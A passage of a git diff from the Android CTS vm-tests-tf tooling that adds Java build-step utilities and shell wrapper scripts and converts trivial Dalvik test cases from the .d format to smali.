+        this.outputFile = new BuildFile(output);
+    }
+
+    private Set<BuildStep> children;
+
+    boolean build() {
+        if (children != null) {
+            for (BuildStep child : children) {
+                if (!child.build()) {
+                    return false;
+                }
+            }
+        }
+        return true;
+    }
+
+    @Override
+    public boolean equals(Object obj) {
+        if (obj == null) return false;
+        if (obj == this) return true;
+        return this.getClass() == obj.getClass();
+    }
+
+    @Override
+    public abstract int hashCode();
+
+    public void addChild(BuildStep child) {
+        if (children == null) {
+            children = new HashSet<BuildStep>();
+        }
+        children.add(child);
+    }
+
+    public static void copyFile(File in, File out) throws IOException {
+        FileChannel inChannel = new FileInputStream(in).getChannel();
+        FileChannel outChannel = new FileOutputStream(out).getChannel();
+        try {
+            inChannel.transferTo(0, inChannel.size(), outChannel);
+        } catch (IOException e) {
+            throw e;
+        } finally {
+            if (inChannel != null) inChannel.close();
+            if (outChannel != null) outChannel.close();
+        }
+    }
+
+    public int compareTo(BuildStep o) {
+        return (outputFile == o.outputFile ? 0 : outputFile.getPath().compareTo(
+                        o.outputFile.getPath()));
+    }
+}
diff --git a/tools/vm-tests-tf/build/src/util/build/BuildUtilBase.java b/tools/vm-tests-tf/build/src/util/build/BuildUtilBase.java
new file mode 100644
index 0000000..8a6eab4
--- /dev/null
+++ b/tools/vm-tests-tf/build/src/util/build/BuildUtilBase.java
@@ -0,0 +1,291 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package util.build;
+
+import java.io.BufferedWriter;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.FileReader;
+import java.io.IOException;
+import java.io.OutputStreamWriter;
+import java.io.StringReader;
+import java.net.URL;
+import java.nio.charset.StandardCharsets;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map.Entry;
+import java.util.Scanner;
+import java.util.regex.MatchResult;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Helper base class for code generators.
+ */
+public abstract class BuildUtilBase {
+
+    public static boolean DEBUG = true;
+
+    public static class MethodData {
+        String methodBody, constraint, title;
+    }
+
+    public interface TestHandler {
+        public void handleTest(String fqcn, List<String> methods);
+    }
+
+    public void run(TestHandler handler) {
+        System.out.println("Collecting all junit tests...");
+        JUnitTestCollector tests = new JUnitTestCollector(getClass().getClassLoader());
+
+        handleTests(tests, handler);
+    }
+
+    protected void handleTests(JUnitTestCollector tests, TestHandler handler) {
+        System.out.println("collected " + tests.testMethodsCnt + " test methods in " +
+                tests.testClassCnt + " junit test classes");
+
+        for (Entry<String, List<String>> entry : tests.map.entrySet()) {
+            handler.handleTest(entry.getKey(), entry.getValue());
+        }
+    }
+
+    private static String readURL(URL in) {
+        // Use common scanner idiom to read a complete InputStream into a string.
+        try (Scanner scanner = new Scanner(in.openStream(), StandardCharsets.UTF_8.toString())) {
+            scanner.useDelimiter("\\A");  // This delimits by "start of content," of which there is
+                                          // only one.
+            return scanner.hasNext() ? scanner.next() : null;
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    protected MethodData parseTestMethod(String pname, String classOnlyName,
+            String method) {
+        String searchPath = "src/" + pname.replaceAll("\\.", "/") + "/" + classOnlyName + ".java";
+        String content;
+        {
+            URL resource = getClass().getClassLoader().getResource(searchPath);
+            if (resource == null) {
+                throw new RuntimeException("Could not find " + searchPath);
+            }
+            content = readURL(resource);
+            if (content == null) {
+                throw new RuntimeException("Could not retrieve content for " + searchPath);
+            }
+        }
+
+        final String methodPattern = "public\\s+void\\s+" + method + "[^\\{]+\\{";
+
+        int methodSkip;
+        try (Scanner scanner = new Scanner(content)) {
+            String token = scanner.findWithinHorizon(methodPattern, content.length());
+            if (token == null) {
+                throw new RuntimeException("cannot find method source of 'public void " + method +
+                        "' in file '" + searchPath + "'");
+            }
+
+            MatchResult result = scanner.match();
+            result.start();
+            methodSkip = result.end();
+        }
+
+        StringBuilder builder = new StringBuilder();
+
+        try {
+            StringReader reader = new StringReader(content);
+            reader.skip(methodSkip);
+
+            int readResult;
+            int blocks = 1;
+            while ((readResult = reader.read()) != -1 && blocks > 0) {
+                char currentChar = (char) readResult;
+                switch (currentChar) {
+                    case '}': {
+                        blocks--;
+                        builder.append(currentChar);
+                        break;
+                    }
+                    case '{': {
+                        blocks++;
+                        builder.append(currentChar);
+                        break;
+                    }
+                    default: {
+                        builder.append(currentChar);
+                        break;
+                    }
+                }
+            }
+            if (reader != null) {
+                reader.close();
+            }
+        } catch (Exception e) {
+            throw new RuntimeException("failed to parse", e);
+        }
+
+        // find the @title/@constraint in javadoc comment for this method
+        // using platform's default charset
+
+        // System.out.println("grepping javadoc found for method " + method +
+        // " in " + pname + "," + classOnlyName);
+        String commentPattern = "/\\*\\*([^{]*)\\*/\\s*" + methodPattern;
+        Pattern p = Pattern.compile(commentPattern, Pattern.DOTALL);
+        Matcher m = p.matcher(content);
+        String title = null, constraint = null;
+        if (m.find()) {
+            String res = m.group(1);
+            // System.out.println("res: " + res);
+            // now grep @title and @constraint
+            Matcher titleM = Pattern.compile("@title (.*)", Pattern.DOTALL)
+            .matcher(res);
+            if (titleM.find()) {
+                title = titleM.group(1).replaceAll("\\n     \\*", "");
+                title = title.replaceAll("\\n", " ");
+                title = title.trim();
+                // System.out.println("title: " + title);
+            } else {
+                System.err.println("warning: no @title found for method " + method + " in " + pname +
+                        "," + classOnlyName);
+            }
+            // constraint can be one line only
+            Matcher constraintM = Pattern.compile("@constraint (.*)").matcher(
+                    res);
+            if (constraintM.find()) {
+                constraint = constraintM.group(1);
+                constraint = constraint.trim();
+                // System.out.println("constraint: " + constraint);
+            } else if (method.contains("VFE")) {
+                System.err
+                .println("warning: no @constraint for for a VFE method:" + method + " in " +
+                        pname + "," + classOnlyName);
+            }
+        } else {
+            System.err.println("warning: no javadoc found for method " + method + " in " + pname +
+                    "," + classOnlyName);
+        }
+        MethodData md = new MethodData();
+        md.methodBody = builder.toString();
+        md.constraint = constraint;
+        md.title = title;
+        return md;
+    }
+
+    /**
+     * @param pName
+     * @param classOnlyName
+     * @param methodSource
+     * @return testclass names
+     */
+    protected static List<String> parseTestClassName(String pName, String classOnlyName,
+            String methodSource) {
+        List<String> entries = new ArrayList<String>(2);
+        String opcodeName = classOnlyName.substring(5);
+
+        try (Scanner scanner = new Scanner(methodSource)) {
+            String[] patterns = new String[] { "new\\s(T_" + opcodeName + "\\w*)",
+                    "(T_" + opcodeName + "\\w*)", "new\\s(T\\w*)" };
+
+            String token = null;
+            for (String pattern : patterns) {
+                token = scanner.findWithinHorizon(pattern, methodSource.length());
+                if (token != null) {
+                    break;
+                }
+            }
+
+            if (token == null) {
+                System.err.println("warning: failed to find dependent test class name: " + pName
+                        + ", " + classOnlyName + " in methodSource:\n" + methodSource);
+                return entries;
+            }
+
+            MatchResult result = scanner.match();
+
+            entries.add((pName + ".d." + result.group(1)).trim());
+
+            // search additional @uses directives
+            Pattern p = Pattern.compile("@uses\\s+(.*)\\s+", Pattern.MULTILINE);
+            Matcher m = p.matcher(methodSource);
+            while (m.find()) {
+                String res = m.group(1);
+                entries.add(0, res.trim());
+            }
+
+            // search for " load(\"...\" " and add as dependency
+            Pattern loadPattern = Pattern.compile("load\\(\"([^\"]*)\"", Pattern.MULTILINE);
+            Matcher loadMatcher = loadPattern.matcher(methodSource);
+            while (loadMatcher.find()) {
+                String res = loadMatcher.group(1);
+                entries.add(res.trim());
+            }
+
+            // search for " loadAndRun(\"...\" " and add as dependency
+            Pattern loadAndRunPattern = Pattern.compile("loadAndRun\\(\"([^\"]*)\"",
+                    Pattern.MULTILINE);
+            Matcher loadAndRunMatcher = loadAndRunPattern.matcher(methodSource);
+            while (loadAndRunMatcher.find()) {
+                String res = loadAndRunMatcher.group(1);
+                entries.add(res.trim());
+            }
+
+            // lines with the form @uses
+            // dot.junit.opcodes.add_double.jm.T_add_double_2
+            // one dependency per one @uses
+            // TODO
+
+            return entries;
+        }
+    }
+
+    public static void writeToFileMkdir(File file, String content) {
+        File parent = file.getParentFile();
+        if (!parent.exists() && !parent.mkdirs()) {
+            throw new RuntimeException("failed to create directory: " + parent.getAbsolutePath());
+        }
+        writeToFile(file, content);
+    }
+
+    public static void writeToFile(File file, String content) {
+        try {
+            if (file.exists() && file.length() == content.length()) {
+                FileReader reader = new FileReader(file);
+                char[] charContents = new char[(int) file.length()];
+                reader.read(charContents);
+                reader.close();
+                String contents = new String(charContents);
+                if (contents.equals(content)) {
+                    // System.out.println("skipping identical: "
+                    // + file.getAbsolutePath());
+                    return;
+                }
+            }
+
+            //System.out.println("writing file " + file.getAbsolutePath());
+
+            BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(
+                    new FileOutputStream(file), "utf-8"));
+            bw.write(content);
+            bw.close();
+        } catch (Exception e) {
+            throw new RuntimeException("error while writing to file: " + e.getClass().getName() +
+                    ", msg:" + e.getMessage());
+        }
+    }
+
+}
diff --git a/tools/vm-tests-tf/src/util/build/D8BuildStep.java b/tools/vm-tests-tf/build/src/util/build/D8BuildStep.java
similarity index 100%
rename from tools/vm-tests-tf/src/util/build/D8BuildStep.java
rename to tools/vm-tests-tf/build/src/util/build/D8BuildStep.java
diff --git a/tools/vm-tests-tf/build/src/util/build/FileUtil.java b/tools/vm-tests-tf/build/src/util/build/FileUtil.java
new file mode 100644
index 0000000..efb3571
--- /dev/null
+++ b/tools/vm-tests-tf/build/src/util/build/FileUtil.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package util.build;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+
+public class FileUtil {
+
+    public static String readFile(File f) {
+        if (f.length() > Integer.MAX_VALUE) {
+            throw new IllegalArgumentException(f.toString());
+        }
+        byte tmp[] = new byte[(int)f.length()];
+        try (FileInputStream fis = new FileInputStream(f)) {
+            int pos = 0;
+            while (pos != tmp.length) {
+                int read = fis.read(tmp, pos, tmp.length - pos);
+                if (read == -1) {
+                    throw new IOException("Unexpected EOF");
+                }
+                pos += read;
+            }
+            return new String(tmp);
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+}
diff --git a/tools/vm-tests-tf/build/src/util/build/JUnitTestCollector.java b/tools/vm-tests-tf/build/src/util/build/JUnitTestCollector.java
new file mode 100644
index 0000000..7332806
--- /dev/null
+++ b/tools/vm-tests-tf/build/src/util/build/JUnitTestCollector.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package util.build;
+
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.LinkedHashMap;
+import java.util.List;
+import junit.framework.Test;
+import junit.framework.TestCase;
+import junit.framework.TestResult;
+import junit.textui.TestRunner;
+
+public class JUnitTestCollector {
+
+    public final int testClassCnt;
+    public final int testMethodsCnt;
+
+    /**
+     * Map collection all found tests.
+     *
+     * using a linked hashmap to keep the insertion order for iterators.
+     * the junit suite/tests adding order is used to generate the order of the
+     * report.
+     * a map. key: fully qualified class name, value: a list of test methods for
+     * the given class
+     */
+    public final LinkedHashMap<String, List<String>> map =
+            new LinkedHashMap<String, List<String>>();
+
+    public JUnitTestCollector(ClassLoader loader) {
+        Test test;
+        try {
+            Class<?> allTestsClass = loader.loadClass("dot.junit.AllTests");
+            Method suiteMethod = allTestsClass.getDeclaredMethod("suite");
+            test = (Test)suiteMethod.invoke(null);
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+
+        final Counters counters = new Counters();
+        new TestRunner() {
+            @Override
+            protected TestResult createTestResult() {
+                return new TestResult() {
+                    @Override
+                    protected void run(TestCase test) {
+                        String packageName = test.getClass().getPackage().getName();
+                        packageName = packageName.substring(packageName.lastIndexOf('.'));
+
+
+                        String method = test.getName(); // e.g. testVFE2
+                        String fqcn = test.getClass().getName(); // e.g.
+                        // dxc.junit.opcodes.iload_3.Test_iload_3
+
+                        counters.a++;
+                        List<String> li = map.get(fqcn);
+                        if (li == null) {
+                            counters.b++;
+                            li = new ArrayList<String>();
+                            map.put(fqcn, li);
+                        }
+                        li.add(method);
+                    }
+
+                };
+            }
+        }.doRun(test);
+        testMethodsCnt = counters.a;
+        testClassCnt = counters.b;
+    }
+
+    private static class Counters {
+        int a = 0;
+        int b = 0;
+    }
+}
diff --git a/tools/vm-tests-tf/src/util/build/JarBuildStep.java b/tools/vm-tests-tf/build/src/util/build/JarBuildStep.java
similarity index 100%
rename from tools/vm-tests-tf/src/util/build/JarBuildStep.java
rename to tools/vm-tests-tf/build/src/util/build/JarBuildStep.java
diff --git a/tools/vm-tests-tf/src/util/build/JavacBuildStep.java b/tools/vm-tests-tf/build/src/util/build/JavacBuildStep.java
similarity index 100%
rename from tools/vm-tests-tf/src/util/build/JavacBuildStep.java
rename to tools/vm-tests-tf/build/src/util/build/JavacBuildStep.java
diff --git a/tools/vm-tests-tf/build/src/util/build/SmaliBuildStep.java b/tools/vm-tests-tf/build/src/util/build/SmaliBuildStep.java
new file mode 100644
index 0000000..47695c2
--- /dev/null
+++ b/tools/vm-tests-tf/build/src/util/build/SmaliBuildStep.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package util.build;
+
+import org.jf.smali.Smali;
+import org.jf.smali.SmaliOptions;
+
+import java.io.File;
+import java.util.List;
+
+/**
+ * BuildStep that invokes the Smali Java API to
+ * assemble test cases written in Smali.
+ */
+class SmaliBuildStep extends BuildStep {
+
+    List<String> inputFiles;
+
+    SmaliBuildStep(List<String> inputFiles, File outputFile) {
+        super(outputFile);
+        this.inputFiles = inputFiles;
+    }
+
+    @Override
+    boolean build() {
+        SmaliOptions options = new SmaliOptions();
+        options.verboseErrors = true;
+        options.outputDexFile = outputFile.fileName.getAbsolutePath();
+        try {
+            File destDir = outputFile.folder;
+            if (!destDir.exists()) {
+                destDir.mkdirs();
+            }
+            return Smali.assemble(options, inputFiles);
+        } catch(Exception e) {
+             if(BuildDalvikSuite.DEBUG)
+                 e.printStackTrace();
+             System.err.println("Exception <" + e.getClass().getName() + ">" + e.getMessage());
+             return false;
+        }
+    }
+
+    @Override
+    public boolean equals(Object obj) {
+        if (super.equals(obj)) {
+            SmaliBuildStep other = (SmaliBuildStep) obj;
+            return inputFiles.equals(other.inputFiles)
+                    && outputFile.equals(other.outputFile);
+        }
+        return false;
+    }
+
+    @Override
+    public int hashCode() {
+        return inputFiles.hashCode() ^ outputFile.hashCode();
+    }
+}
diff --git a/tools/vm-tests-tf/src/util/build/SourceBuildStep.java b/tools/vm-tests-tf/build/src/util/build/SourceBuildStep.java
similarity index 100%
rename from tools/vm-tests-tf/src/util/build/SourceBuildStep.java
rename to tools/vm-tests-tf/build/src/util/build/SourceBuildStep.java
diff --git a/tools/vm-tests-tf/etc/vmtests-buildutil.sh b/tools/vm-tests-tf/etc/vmtests-buildutil.sh
new file mode 100755
index 0000000..759c5c2
--- /dev/null
+++ b/tools/vm-tests-tf/etc/vmtests-buildutil.sh
@@ -0,0 +1,81 @@
+#!/bin/bash
+#
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+# Execute the vmtests-buildutil program
+prog="$0"
+while [ -h "${prog}" ]; do
+    newProg=`/bin/ls -ld "${prog}"`
+    newProg=`expr "${newProg}" : ".* -> \(.*\)$"`
+    if expr "x${newProg}" : 'x/' >/dev/null; then
+        prog="${newProg}"
+    else
+        progdir=`dirname "${prog}"`
+        prog="${progdir}/${newProg}"
+    fi
+done
+oldwd=`pwd`
+progdir=`dirname "${prog}"`
+cd "${progdir}"
+progdir=`pwd`
+prog="${progdir}"/`basename "${prog}"`
+cd "${oldwd}"
+
+jarfile=vmtests-buildutil.jar
+libdir="$progdir"
+
+if [ ! -r "$libdir/$jarfile" ]; then
+    # set vmtests-buildutil.jar location for the Android tree case
+    libdir=`dirname "$progdir"`/framework
+fi
+
+if [ ! -r "$libdir/$jarfile" ]; then
+    echo `basename "$prog"`": can't find $jarfile"
+    exit 1
+fi
+
+# By default, give vmtests-buildutil a max heap size of 1 gig. This can be overridden
+# by using a "-J" option (see below).
+defaultMx="-Xmx1024M"
+
+# The following will extract any initial parameters of the form "-J<stuff>" from
+# the command line and pass them to the Java invocation (instead of to vmtests-buildutil).
+# This makes it possible for you to add a command-line parameter such as
+# "-JXmx256M" in your scripts, for example. "java" (with no args) and "java -X"
+# give a summary of available options.
+
+javaOpts=""
+
+while expr "x$1" : 'x-J' >/dev/null; do
+    opt=`expr "x$1" : 'x-J\(.*\)'`
+    javaOpts="${javaOpts} -${opt}"
+    if expr "x${opt}" : "xXmx[0-9]" >/dev/null; then
+        defaultMx="no"
+    fi
+    shift
+done
+
+if [ "${defaultMx}" != "no" ]; then
+    javaOpts="${javaOpts} ${defaultMx}"
+fi
+
+if [ "$OSTYPE" = "cygwin" ]; then
+    # For Cygwin, convert the jarfile path into native Windows style.
+    jarpath=`cygpath -w "$libdir/$jarfile"`
+else
+    jarpath="$libdir/$jarfile"
+fi
+
+exec java $javaOpts -cp "$jarpath" "$@"
diff --git a/tools/vm-tests-tf/etc/vmtests-cfassembler.sh b/tools/vm-tests-tf/etc/vmtests-cfassembler.sh
new file mode 100755
index 0000000..74cabe5
--- /dev/null
+++ b/tools/vm-tests-tf/etc/vmtests-cfassembler.sh
@@ -0,0 +1,49 @@
+#!/bin/bash
+#
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+# Execute cfassembler for the given programs.
+prog="$0"
+cfassembler="$1"
+shift
+soong_zip="$1"
+shift
+gen_dir="$1"
+shift
+out="$1"
+shift
+
+for IN in $@ ; do
+  # Strip cts/tools/vm-tests-tf/src
+  TESTDIR_DFH=${IN#cts/tools/vm-tests-tf/src}
+  TESTDIR=${TESTDIR_DFH%.dfh}
+  TESTNAME=`basename $TESTDIR`
+  TESTDIRPARENT=`dirname $TESTDIR`
+
+  GENDIR="$gen_dir/tmp/tests/$TESTDIR"
+  GENDIRP="$gen_dir/tmp/tests/$TESTDIRPARENT"
+
+  mkdir -p $GENDIR || exit 1
+  # Assemble.
+  $cfassembler $IN $GENDIR || exit 1
+  # Wrap inside jar.
+  $soong_zip -o $GENDIRP/$TESTNAME.jar -C $GENDIR -D $GENDIR || exit 1
+  rm $GENDIR/classes.dex || exit 1
+  rmdir $GENDIR || exit 1
+done
+
+# Create the final jar.
+$soong_zip -o $out -C $gen_dir/tmp -D $gen_dir/tmp || exit 1
+rm -rf $gen_dir/tmp || exit 1
diff --git a/tools/vm-tests-tf/etc/vmtests-dasm.sh b/tools/vm-tests-tf/etc/vmtests-dasm.sh
new file mode 100755
index 0000000..455f995
--- /dev/null
+++ b/tools/vm-tests-tf/etc/vmtests-dasm.sh
@@ -0,0 +1,53 @@
+#!/bin/bash
+#
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+# Execute dasm for the given programs.
+prog="$0"
+dasm="$1"
+shift
+soong_zip="$1"
+shift
+gen_dir="$1"
+shift
+out="$1"
+shift
+
+# dasm is hardcoded to produce an output file as if it was a Java input:
+#  * package is translated to path components
+#  * single dex file with the name of the class
+
+GENDIR="$gen_dir/tmp/tests"
+mkdir -p $GENDIR || exit 1
+
+for IN in $@ ; do
+  # Strip cts/tools/vm-tests-tf/src
+  TESTDIR_DFH=${IN#cts/tools/vm-tests-tf/src}
+  TESTDIR=${TESTDIR_DFH%.d}
+  TESTNAME=`basename $TESTDIR`
+  TESTDIRPARENT=`dirname $TESTDIR`
+
+  # Assemble.
+  $dasm -d $GENDIR $IN || exit 1
+  # Rename to classes.dex.
+  mv $GENDIR/$TESTDIR.dex $GENDIR/$TESTDIRPARENT/classes.dex
+  # Wrap inside jar.
+  $soong_zip -o $GENDIR/$TESTDIR.jar -C $GENDIR/$TESTDIRPARENT -f $GENDIR/$TESTDIRPARENT/classes.dex || exit 1
+  rm $GENDIR/$TESTDIRPARENT/classes.dex || exit 1
+done
+
+# Create the final jar.
+$soong_zip -o $out -C $gen_dir/tmp -D $gen_dir/tmp || exit 1
+rm -rf $gen_dir/tmp || exit 1
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_1.d b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_1.d
deleted file mode 100644
index e674f34..0000000
--- a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_1.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_f1_1.java
-.class public dot.junit.format.f1.d.T_f1_1
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 123
-       nop
-       nop
-       nop
-       nop
-       const v2, 456
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_1.smali b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_1.smali
new file mode 100644
index 0000000..c588b28
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_1.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_f1_1.java"
+.class  public Ldot/junit/format/f1/d/T_f1_1;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       nop
+       nop
+       nop
+       nop
+       const v2, 456
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_10.d b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_10.d
deleted file mode 100644
index c06a20e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_10.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_f1_10.java
-.class public dot.junit.format.f1.d.T_f1_10
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 123
-       nop
-       nop
-       nop
-       nop
-       const v2, 456
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_10.smali b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_10.smali
new file mode 100644
index 0000000..07a66b5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_10.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_f1_10.java"
+.class  public Ldot/junit/format/f1/d/T_f1_10;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       nop
+       nop
+       nop
+       nop
+       const v2, 456
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_11.d b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_11.d
deleted file mode 100644
index 4ad888f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_11.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_f1_11.java
-.class public dot.junit.format.f1.d.T_f1_11
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 123
-       nop
-       nop
-       nop
-       nop
-       const v2, 456
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_11.smali b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_11.smali
new file mode 100644
index 0000000..63a9c67
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_11.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_f1_11.java"
+.class  public Ldot/junit/format/f1/d/T_f1_11;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
